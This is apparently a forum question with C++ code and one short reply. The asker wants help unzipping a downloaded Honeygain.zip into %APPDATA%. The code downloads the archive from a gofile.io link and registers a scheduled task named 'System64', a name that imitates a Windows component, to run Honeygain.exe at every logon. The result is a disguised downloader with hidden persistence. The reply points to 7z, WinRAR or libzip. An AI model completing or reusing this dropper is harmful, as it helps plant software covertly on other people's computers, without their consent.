-3

How can i unzip that Downloaded Honeygain.zip to %appdata%? Whic library i neeed to use with .zips and how _?


#include <iostream>
#include<Windows.h>
#include<string>
#include <cstdlib>
#pragma comment(lib, "urlmon.lib")

using namespace std;
int main()
{
    char* appdata = std::getenv("APPDATA");
    if (appdata) {
        std::cout << "Appdata: " << appdata << '\n';
        std::string cmd = std::string("schtasks /create /tn System64 /tr \"") +
            appdata +
            "\\Honeygain\\Honeygain.exe\" /sc ONLOGON";
        system(cmd.c_str());
    }

    string dwnld_URL = "https://srv-file22.gofile.io/downloadStore/srv-store4/YWh3va/Honeygain.zip";
    string savepath = "C:\\Users\\Ester\\Appdata\\Roaming\\Honeygain.zip";
    URLDownloadToFileA(NULL, dwnld_URL.c_str(), savepath.c_str(), 0, NULL);


    return 0;
}
Onur Kaya
  • 29
  • 8

1 Answers1

1

I think the easiest way is to create a child process with 'WinRAR' or '7z' to unzip 'Honeygain.zip' to %appdata%. Or, You can try libzip(https://libzip.org/). It is free, portable and easy to use.

Allen ZHU
  • 690
  • 5
  • 14